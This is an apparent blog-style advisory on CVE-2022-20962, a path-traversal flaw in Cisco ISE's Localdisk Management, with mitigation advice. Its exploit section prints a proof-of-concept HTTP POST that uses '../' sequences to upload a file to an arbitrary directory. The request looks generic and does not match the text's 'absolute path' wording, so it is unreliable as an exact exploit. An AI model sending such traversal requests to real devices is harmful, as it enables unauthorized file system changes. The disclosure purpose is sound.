CVE-2022-20962: Cisco Identity Services Engine (ISE) Localdisk Management Vulnerability Allows Unauthorized File System Changes

The Cisco Identity Services Engine (ISE) is an essential component for managing and securing networks, but there is a recently discovered vulnerability in its Localdisk Management feature. CVE-2022-20962, as this vulnerability is officially known, grants an attacker the ability to make unauthorized changes to the file system on an affected device. This problem stems from not having proper input validation, which can lead to a complete compromise of the system if attackers manage to successfully upload malicious files to other locations within the file system.

Exploit Details

The vulnerability lies in the input validation process within the Localdisk Management feature of Cisco ISE. An authenticated, remote attacker gains the ability to exploit this by sending specially crafted HTTP requests containing absolute path sequences. Once the attacker uploads the malicious files, they can access the underlying operating system and execute commands with elevated privileges.

The proof of concept exploit involves sending the following HTTP POST request

POST /localdisk/v2/files?directory=../../../../../../path/to/desired/directory HTTP/1.1
Content-Type: multipart/form-data; boundary=---BOUNDARY

---BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious_file.txt"
Content-Type: text/plain

Hello, I am a malicious file.
---BOUNDARY--

In this example, inserting the desired directory path allows the attacker to send the malicious file wherever they please, resulting in unauthorized changes to the file system.

Official References

This vulnerability was publicly disclosed by Cisco, and they've issued a security advisory to address the matter. The official details and updates regarding CVE-2022-20962 can be found on the following links:

- Cisco Security Advisory
- National Vulnerability Database (NVD)

Mitigation

Cisco has released software updates that fix the vulnerability outlined in CVE-2022-20962. Affected users should promptly update the Cisco ISE software to the latest version to avoid future exploitation of the vulnerability. Administrators can find the appropriate patch for their specific ISE version and deployment type through the Cisco Security Advisory. In addition to applying the update, admins should monitor network traffic for unusual patterns and review device logs regularly to catch any signs of an attempted exploit.

Conclusion

CVE-2022-20962 is a serious vulnerability that puts the integrity of file systems on Cisco Identity Services Engine devices at risk. It is vital for administrators to apply the available software updates in a timely manner and keep a close eye on their systems to ensure a secure network environment. Failure to do so could result in an attacker gaining unauthorized access to a device's file system, potentially causing significant damage to an organization's data and overall security.

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 15:44:00 UTC